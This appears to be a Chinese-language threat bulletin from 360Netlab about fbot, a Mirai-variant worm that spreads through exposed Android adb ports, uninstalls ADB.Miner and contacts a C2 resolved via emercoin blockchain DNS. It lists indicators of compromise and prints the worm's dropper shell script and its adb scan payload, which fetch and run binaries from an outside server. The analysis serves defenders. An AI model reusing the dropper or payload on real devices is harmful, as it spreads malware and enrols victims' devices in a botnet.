威胁快讯:清理adb.miner的新蠕虫fbot正在使用区块链上的DNS系统

阅读量    81663 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

ADB.Miner 已经在我们之前的多篇 文章 中提及,这是一个利用adb安卓系统调试接口传播的蠕虫,其功能单一,除了蠕虫传播模块就是挖矿。今天下午,我们注意到一个新的蠕虫正在清理 adb.miner。在完成了清理动作后,该蠕虫会等待来自C2(musl.lib,66.42.57.45:7000, Singapore/SG)的下一步指令。值得一提的是,该C2域名的解析,需要通过emercoin.com利用区块链DNS系统完成。我们将该蠕虫命名为fbot,主要是因为该蠕虫的主要执行模块使用了这个名字。 

IoC

下载服务器

188.209.52.142 Netherlands/NL    AS49349  

C2服务器

musl.lib         由区块链DNS系统emercoin.com解析,当前的解析IP地址是在下面  
66.42.57.45:7000 Singapore/SG Singapore  

下载URL

hxxp://188.209.52.142/c          #脚本,会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件,并做清理  
hxxp://188.209.52.142/w          #脚本,会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件,并做清理  
hxxp://188.209.52.142/fbot.aarch64     #扫描器,下同,完成自身的蠕虫传播  
hxxp://188.209.52.142/fbot.arm7  
hxxp://188.209.52.142/fbot.mips  
hxxp://188.209.52.142/fbot.mipsel  
hxxp://188.209.52.142/fbot.x86  
hxxp://188.209.52.142/fbot.x86_64  

分析

恶意样本通过 adb 安卓系统调试接口投入,这与之前的 adb.miner 的投入方式一致。

投入载荷会下载执行 hxxp://188.209.52.142/c,或者是hxxp://188.209.52.142/w。这两个脚本的区别仅在下载方式是wget/curl,下文不再区分。主体功能一致,包括:

  • 尝试进一步从 188.209.52.142 下载 fbot.{arch} 恶意样本;
  • 卸载 com.ufo.miner,即ADB.Miner;
  • 完成自身清理工作。

该脚本的详细内容如下:

#!/system/bin/sh

n="arm7 mipsel mips x86 x86_64 aarch64"  
http_server="188.209.52.142"

for i in $n  
do  
    cp /system/bin/sh fbot.$i
    >fbot.$i
    curl hxxp://$http_server/fbot.$i > fbot.$i   #    wget hxxp://$http_server/fbot.$i > fbot.$i
    chmod 777 fbot.$i
    ./fbot.$i
    rm fbot.$i
done

# Cleanup
for i in $n  
do  
    rm fbot.$i
done

pm uninstall com.ufo.miner

# Suicide
rm $0  

下载得到的 fbot.{arch} 是个mirai的变种,改动的部分包括:

  • C2:66.42.57.45:7000,Singapore/SG Singapore
  • 扫描:改为针对 TCP 5555 adb 端口扫描。扫描成功后,会下载hxxp://188.209.52.142/c,完成对蠕虫自身的传播。
  • 杀进程:样本中会遍历 /proc/pid/exe 目录下面的特定进程,如smi/xig/rig等。枚举得到符合条件的进程后,会杀掉该进程。

该变种保留了 mirai 僵尸网络的DDoS功能,但我们尚未检测到该C2有发出DDoS攻击指令。

扫描阶段的payload如下:

shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c  

枚举进程列表

/data/local/tmp/smi
/data/local/tmp/xig
/data/local/tmp/trinity
/data/local/tmp/z
/data/local/tmp/log
/data/local/tmp/rig
/data/local/tmp/.f
/data/local/tmp/tyg

musl.lib 的域名解析

该C2域名不是一个标准的DNS域名,其顶级域 .lib 并没有在 ICANN 注册,因而也不能为通用的DNS系统解析。

该域名需要在emercoin.com上解析。当前的解析记录,见下面的连接。emercoin.com 是一个基于区块链的DNS系统。https://explorer.emercoin.com/nvs//musl.lib//25/1/1

emercoin.com 当前利用了 OpenNic 提供的公共DNS解析服务器来桥接传统DNS和区块链DNS。被感染的机器,会利用硬编码的 OpenNic 下属公共DNS解析服务器完成域名解析。这些DNS解析服务器至少包括:

163.53.248.170  
174.138.48.29  
5.132.191.104  

联系我们

感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。或者发送邮件给 netlab at 360 dot cn 。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多